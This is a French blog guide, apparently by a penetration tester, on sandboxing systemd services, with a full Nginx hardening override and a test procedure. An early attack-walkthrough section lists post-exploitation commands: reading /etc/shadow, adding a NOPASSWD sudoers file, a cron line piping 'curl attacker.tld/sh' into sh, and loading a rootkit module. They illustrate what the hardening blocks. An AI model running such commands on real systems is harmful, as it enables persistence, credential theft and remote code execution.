Durcir les services systemd en 2026 : sandboxing, ProtectSystem et défense en profondeur sous Linux

Guide pratique pour durcir un service systemd en 2026 : ProtectSystem, NoNewPrivileges, filtrage syscall, CapabilityBoundingSet et DynamicUser, avec exemple Nginx testé sous Debian 13 et RHEL 10.

Durcir systemd 2026 : guide sandboxing

Mis à jour : 21 juin 2026

Durcir un service systemd consiste à utiliser les directives de sandboxing de l'unité (ProtectSystem, NoNewPrivileges, CapabilityBoundingSet, SystemCallFilter, etc.) pour réduire la surface d'attaque du processus à l'absolu minimum dont il a besoin pour fonctionner. En 2026, avec systemd 256+, on dispose d'une trentaine de directives qui transforment un démon root traditionnel en processus isolé, sans accès au système de fichiers en écriture, sans capacités, sans appels système dangereux. Quand j'audite un serveur Linux, c'est la première chose que je vérifie après l'authentification SSH, parce qu'un RCE dans un service mal isolé donne immédiatement root.

  • systemd-analyze security <service> attribue un score d'exposition de 0 (sandbox parfait) à 10 (dangereux). Visez moins de 3 sur tout démon exposé au réseau.
  • ProtectSystem=strict combiné à ProtectHome=true et PrivateTmp=true élimine 90 % des chemins d'escalade post-exploitation classiques.
  • NoNewPrivileges=true bloque setuid/setgid et empêche un shell exfiltré de réutiliser sudo ou su.
  • CapabilityBoundingSet= vide retire toutes les capacités Linux ; à compléter au cas par cas avec uniquement ce dont le service a besoin (par exemple CAP_NET_BIND_SERVICE).
  • SystemCallFilter=@system-service et MemoryDenyWriteExecute=true bloquent les techniques d'exploitation mémoire et les syscalls rares utilisés par les rootkits.
  • Les overrides via systemctl edit permettent de durcir un service tiers (Nginx, PostgreSQL, Redis) sans modifier le paquet d'origine.

Anatomie d'une exploitation contre un service mal durci

Avant de parler défense, voyons l'attaque. En mission, je trouve régulièrement le même schéma : un service web tourne en root (ou en utilisateur dédié mais sans aucun sandboxing), il a une vulnérabilité (désérialisation, SSRF qui escalade en RCE, ou mauvaise gestion d'un upload, peu importe). J'obtiens une exécution de commande. Sur un service non durci, voici ce que je peux faire en 30 secondes :

# 1. Lire des fichiers sensibles sur tout le disque
cat /etc/shadow
cat /root/.ssh/authorized_keys
cat /var/lib/postgresql/data/pg_hba.conf

# 2. Écrire dans /etc pour persister
echo "evil ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/evil
echo "* * * * * root curl attacker.tld/sh | sh" > /etc/cron.d/persist

# 3. Charger un module noyau pour cacher mes traces
insmod ./rootkit.ko

# 4. Pivoter via /tmp partagé pour lire la session d'un autre service
ls /tmp/.X11-unix/  # session graphique d'un autre utilisateur

Chacune de ces étapes est bloquée par une directive systemd qui prend deux secondes à ajouter. Un démon qui se fait exploiter ne devrait pas être game over. Au pire, ça devrait se traduire par une mise à jour à appliquer lundi matin. C'est exactement ce que fournissent les contrôles décrits dans la suite, et c'est cohérent avec l'approche défense en profondeur déjà couverte côté durcissement SSH.

Évaluer l'exposition avec systemd-analyze security

Avant de durcir quoi que ce soit, mesurez. La commande systemd-analyze security calcule un score d'exposition entre 0.0 (sandbox parfait) et 10.0 (aucune isolation) pour chaque service. Sur une installation Debian 13 ou RHEL 10 fraîche, lancez :

# Vue d'ensemble de tous les services
systemd-analyze security

# Détail pour un service précis
systemd-analyze security nginx.service

# Format machine pour l'intégrer en CI
systemd-analyze security --json=short nginx.service

La sortie liste chaque directive avec son impact sur le score (« exposure ») et explique pourquoi votre score est ce qu'il est. Voici ce que j'obtiens typiquement sur un Nginx non modifié :

  EXPOSURE PREDICATE                              HAPPY
  9.6     SystemCallFilter= is not set            ☹
  0.5     NoNewPrivileges= disabled               ☹
  0.2     PrivateTmp= disabled                    ☹
  0.2     ProtectHome= disabled                   ☹
→ Overall exposure level for nginx.service: 9.6 UNSAFE

Mon seuil : tout service exposé en réseau doit afficher moins de 3.0. Les démons internes (timers de maintenance, services purement locaux) peuvent rester autour de 5.0, mais en dessous de ça c'est inacceptable pour un démon qui répond à du trafic Internet. Intégrez la commande en CI pour échouer le build si le score dépasse un seuil. C'est la même philosophie que pour le scan de vulnérabilités avec Trivy.

Protéger le système de fichiers : ProtectSystem, ProtectHome, PrivateTmp

Le premier vecteur post-exploitation est l'écriture dans /etc ou la lecture de /root et /home. Trois directives gèrent ça :

  • ProtectSystem=strict : monte tout le système de fichiers en lecture seule sauf /dev, /proc et /sys. full protège /usr, /boot, /etc ; strict protège tout sauf les chemins listés dans ReadWritePaths=.
  • ProtectHome=true : rend /home, /root et /run/user inaccessibles (vus comme vides). Valeur read-only si le service a besoin d'y lire.
  • PrivateTmp=true : donne au service un namespace mount avec un /tmp et /var/tmp dédiés, isolés des autres processus.

Concrètement, dans une unité :

[Service]
ProtectSystem=strict
ProtectHome=true
PrivateTmp=true

# Réautoriser les chemins légitimes en écriture
ReadWritePaths=/var/log/nginx /var/lib/nginx /var/cache/nginx
ReadOnlyPaths=/etc/nginx

Test côté attaquant après application : ma commande echo "..." >> /etc/sudoers.d/evil retourne Read-only file system. Mon cat /root/.ssh/authorized_keys retourne No such file or directory. Mon ls /tmp ne montre que les fichiers temporaires du service Nginx lui-même, pas la socket X11 d'un autre utilisateur. Trois lignes, trois techniques bloquées.

Réduire les privilèges : NoNewPrivileges et CapabilityBoundingSet

Même un service qui tourne en utilisateur non-root peut conserver des chemins d'escalade. Trois directives ferment la porte :

[Service]
# Bloque setuid/setgid (sudo, su, ping setuid, mount setuid…)
NoNewPrivileges=true

# Retire toutes les capacités du processus
CapabilityBoundingSet=
AmbientCapabilities=

# Ou ne garder que celles strictement nécessaires
# CapabilityBoundingSet=CAP_NET_BIND_SERVICE
# AmbientCapabilities=CAP_NET_BIND_SERVICE

NoNewPrivileges=true active le bit PR_SET_NO_NEW_PRIVS du noyau : un binaire setuid ne donnera plus root, même si l'attaquant trouve un binaire vulnérable accessible. C'est la directive la plus rentable du lot — coût zéro, impact énorme.

CapabilityBoundingSet= (avec valeur vide) retire les 41 capacités Linux qu'un processus root posséderait par défaut : plus de CAP_SYS_ADMIN (mount), plus de CAP_NET_RAW (sniffing), plus de CAP_SYS_MODULE (chargement de module noyau). Pour les services qui écoutent sur les ports privilégiés (< 1024), ajoutez uniquement CAP_NET_BIND_SERVICE. Pour un démon qui doit changer d'UID, gardez CAP_SETUID CAP_SETGID — pas plus.

Les capacités sont le contrôle d'accès discrétionnaire le plus mal compris sous Linux. La page de manuel capabilities(7) liste chacune avec sa portée exacte ; lisez-la avant d'en accorder une.

Filtrer les appels système et bloquer l'exécution mémoire

Le filtrage syscall est la directive qui fait le plus chuter le score « exposure » de systemd-analyze. C'est aussi celle qui demande le plus d'attention parce qu'un filtre trop strict casse le service à l'exécution.

[Service]
# Liste blanche de syscalls « service réseau classique »
SystemCallFilter=@system-service
SystemCallFilter=~@privileged @resources @mount @debug @cpu-emulation @obsolete @raw-io @reboot @swap

# Bloque mmap+W^X et mprotect d'une page exécutable
MemoryDenyWriteExecute=true

# Bloque l'utilisation de personality() pour passer en mode 32-bit
LockPersonality=true

# Restreint les architectures syscall (refuse i386 sur x86_64)
SystemCallArchitectures=native

Les groupes (@system-service, @privileged, etc.) sont des ensembles préfabriqués documentés dans systemd.exec(5). @system-service est la liste blanche raisonnable pour 95 % des démons : HTTP, base de données, file de messages, etc. Le ~ qui préfixe la deuxième ligne retire les groupes correspondants : c'est une liste noire appliquée sur la liste blanche.

MemoryDenyWriteExecute=true bloque le pattern d'exploitation classique : allouer une page mémoire, y écrire du shellcode, puis la rendre exécutable via mprotect. Sur un binaire compilé sans JIT (la grande majorité), c'est gratuit. Sur un service avec JIT (Node.js, Java avec JIT, PHP-FPM avec opcache JIT), testez en pré-production avant d'activer. Vous obtiendrez probablement un SIGSYS au démarrage.

Isolation par namespaces et restrictions réseau

Les namespaces Linux permettent de cloisonner un service au niveau noyau. systemd expose six d'entre eux directement :

[Service]
# Pas de création de nouveaux namespaces (anti-évasion conteneur)
RestrictNamespaces=true

# Bloque les sockets non-AF_UNIX / AF_INET / AF_INET6
RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6

# Pas de sockets AF_PACKET (sniffing brut)
# (déjà couvert par RestrictAddressFamilies, mais redondance utile)

# Bloque l'accès aux périphériques sauf liste explicite
PrivateDevices=true

# Cache /proc des autres processus
ProtectProc=invisible
ProcSubset=pid

# Empêche le service de modifier le hostname, l'horloge, sysctl
ProtectHostname=true
ProtectClock=true
ProtectKernelTunables=true
ProtectKernelModules=true
ProtectKernelLogs=true
ProtectControlGroups=true

ProtectProc=invisible est sous-utilisé : il masque les autres PID dans /proc vu depuis ce service. Quand j'exploite un service web et que je veux trouver le PID de PostgreSQL pour lire ses descripteurs de fichiers via /proc/<pid>/fd, cette directive bloque net. RestrictAddressFamilies= sans AF_NETLINK empêche aussi un attaquant d'interroger la table de routage ou les voisins ARP.

Côté réseau pur, si le service n'a pas besoin de sortir vers Internet, ajoutez IPAddressDeny=any et IPAddressAllow=10.0.0.0/8 (ou similaire) pour transformer systemd en mini pare-feu egress par service. Pour le filtrage réseau de l'hôte lui-même, c'est nftables qui prend le relais, les deux couches étant complémentaires.

Exemple complet : durcir Nginx pas à pas

Voici une override complète pour Nginx, testée sur Debian 13 et RHEL 10. Créez le fichier via systemctl edit nginx.service :

[Service]
# Système de fichiers
ProtectSystem=strict
ProtectHome=true
PrivateTmp=true
ReadWritePaths=/var/log/nginx /var/lib/nginx /var/cache/nginx /run/nginx
ReadOnlyPaths=/etc/nginx /etc/ssl

# Privilèges
NoNewPrivileges=true
CapabilityBoundingSet=CAP_NET_BIND_SERVICE CAP_SETUID CAP_SETGID CAP_CHOWN CAP_DAC_OVERRIDE
AmbientCapabilities=CAP_NET_BIND_SERVICE

# Syscalls
SystemCallFilter=@system-service
SystemCallFilter=~@privileged @resources @mount @debug @cpu-emulation @obsolete @raw-io @reboot @swap
SystemCallArchitectures=native
MemoryDenyWriteExecute=true
LockPersonality=true

# Namespaces & noyau
RestrictNamespaces=true
RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6
RestrictRealtime=true
RestrictSUIDSGID=true
PrivateDevices=true
ProtectProc=invisible
ProcSubset=pid
ProtectHostname=true
ProtectClock=true
ProtectKernelTunables=true
ProtectKernelModules=true
ProtectKernelLogs=true
ProtectControlGroups=true

# Bonus
UMask=0077
KeyringMode=private

Rechargez et vérifiez :

systemctl daemon-reload
systemctl restart nginx.service
systemctl status nginx.service
systemd-analyze security nginx.service

Sur ma config de test, je passe de 9.6 UNSAFE à 1.2 OK. Le seul point qui m'empêche d'aller plus bas est la nécessité de garder CAP_SETUID/CAP_SETGID parce que Nginx fork après bind. Pour un service qui n'a pas besoin de bind privilégié, on descend sous 1.0.

DynamicUser et services sans utilisateur dédié

Pour les services écrits maison, DynamicUser=true est la directive la plus simple à activer pour un gain massif. systemd alloue un UID/GID éphémère au démarrage (entre 61184 et 65519), monte des répertoires dédiés via StateDirectory=, CacheDirectory=, LogsDirectory=, puis libère l'UID à l'arrêt. Aucun utilisateur n'existe en permanence dans /etc/passwd, donc aucun chemin d'attaque persistant via cet utilisateur.

[Service]
ExecStart=/usr/local/bin/mon-api
DynamicUser=true
StateDirectory=mon-api
CacheDirectory=mon-api
LogsDirectory=mon-api
# Tout le sandboxing précédent reste applicable
ProtectSystem=strict
NoNewPrivileges=true

Les répertoires sont créés dans /var/lib/private/mon-api, /var/cache/private/mon-api, /var/log/private/mon-api avec les bonnes permissions. Le service les voit montés en /var/lib/mon-api via bind-mount. C'est invisible pour le code applicatif, qui croit voir des chemins standards. Combinez avec RuntimeDirectory= pour les sockets UNIX et vous obtenez un service jetable au sens littéral, comme un conteneur mais sans l'overhead. Pour aller plus loin côté conteneurs, voyez le guide sécurité runtime avec eBPF.

Tester et déployer en production sans casser le service

Le risque réel du durcissement systemd, c'est de casser le service en production. Voici la procédure que j'applique en mission, sans exception :

  1. Mesure de référence : systemd-analyze security <service> avant toute modification. Notez le score, sauvegardez l'override existante.
  2. Application incrémentale : ajoutez 3 à 5 directives par itération, jamais le bloc complet d'un coup. Commencez par NoNewPrivileges, ProtectHome, PrivateTmp, qui présentent peu de risque de régression.
  3. Test fonctionnel : après chaque itération, systemctl restart puis test bout en bout avec curl ou la suite d'intégration applicative. journalctl -u <service> -f dans une autre fenêtre.
  4. Itération sur les erreurs : les EACCES mènent à ReadWritePaths. Les SIGSYS mènent à un syscall manquant dans le filtre. Les EPERM sur des opérations privilégiées mènent à une capacité à rajouter.
  5. Validation : systemd-analyze security en fin de processus, sous 3.0. Ajoutez la commande dans votre CI/CD comme test de non-régression.

Pour valider l'isolation réellement obtenue, exécutez une commande dans le contexte du service avec systemd-run :

# Lance un shell dans la même configuration de sandbox que nginx.service
systemd-run --pty --uid=www-data --pipe \
    --property="ProtectSystem=strict" \
    --property="NoNewPrivileges=true" \
    --property="ProtectHome=true" \
    /bin/bash

# Dans le shell : tentez les attaques manuellement
ls /root           # devrait être vide
cat /etc/shadow    # Permission denied
echo x > /etc/foo  # Read-only file system

C'est le seul moyen fiable de prouver à l'équipe sécurité que le sandbox fait ce qu'il prétend. Tout le reste (score systemd-analyze inclus) reste un proxy.

Questions fréquentes

Comment durcir un service systemd existant sans modifier son paquet ?

Utilisez systemctl edit <service> pour créer un fichier d'override dans /etc/systemd/system/<service>.service.d/override.conf. Les directives ajoutées surchargent celles fournies par le paquet, sans modifier l'unité d'origine. Après modification, systemctl daemon-reload puis systemctl restart appliquent les changements.

Qu'est-ce que systemd-analyze security exactement ?

C'est une commande intégrée à systemd 240+ qui évalue l'isolation d'un service en attribuant un score d'exposition de 0.0 (sandbox parfait) à 10.0 (aucun durcissement). Elle examine une cinquantaine de directives (ProtectSystem, NoNewPrivileges, etc.) et explique laquelle améliore ou dégrade le score. Visez moins de 3.0 sur les services exposés au réseau.

ProtectSystem=strict casse mon service, que faire ?

Lisez journalctl -u <service> -n 100 juste après le redémarrage et listez les chemins qui retournent EACCES ou Read-only file system. Ajoutez-les un à un dans ReadWritePaths=. Les chemins typiques à autoriser : /var/log/<service>, /var/lib/<service>, /run/<service>. Si le service écrit dans /etc, repensez votre déploiement plutôt que d'ouvrir un trou.

Peut-on remplacer un conteneur Docker par un service systemd durci ?

Pour de nombreux démons internes, oui. Avec DynamicUser=true, ProtectSystem=strict, namespaces et filtrage syscall, vous obtenez une isolation comparable à un conteneur sans la couche runtime supplémentaire. Les conteneurs gardent l'avantage pour l'empaquetage portable de dépendances et l'orchestration multi-hôtes, mais pour un service backend stable, l'unité systemd durcie est plus simple et plus performante.

Le sandboxing systemd remplace-t-il SELinux ou AppArmor ?

Non, ce sont des couches complémentaires de défense en profondeur. systemd applique le sandboxing au démarrage du processus (namespaces, capabilities, syscalls). SELinux/AppArmor applique des politiques au niveau des objets noyau (fichiers, sockets, IPC) en continu, indépendamment du démon. Empilez les deux : un attaquant doit casser les deux barrières au lieu d'une.

Felix Lindqvist
À propos de l'auteur Felix Lindqvist

Penetration tester and OSCP holder. Reverse engineers misconfigured servers for a living and writes about what he finds.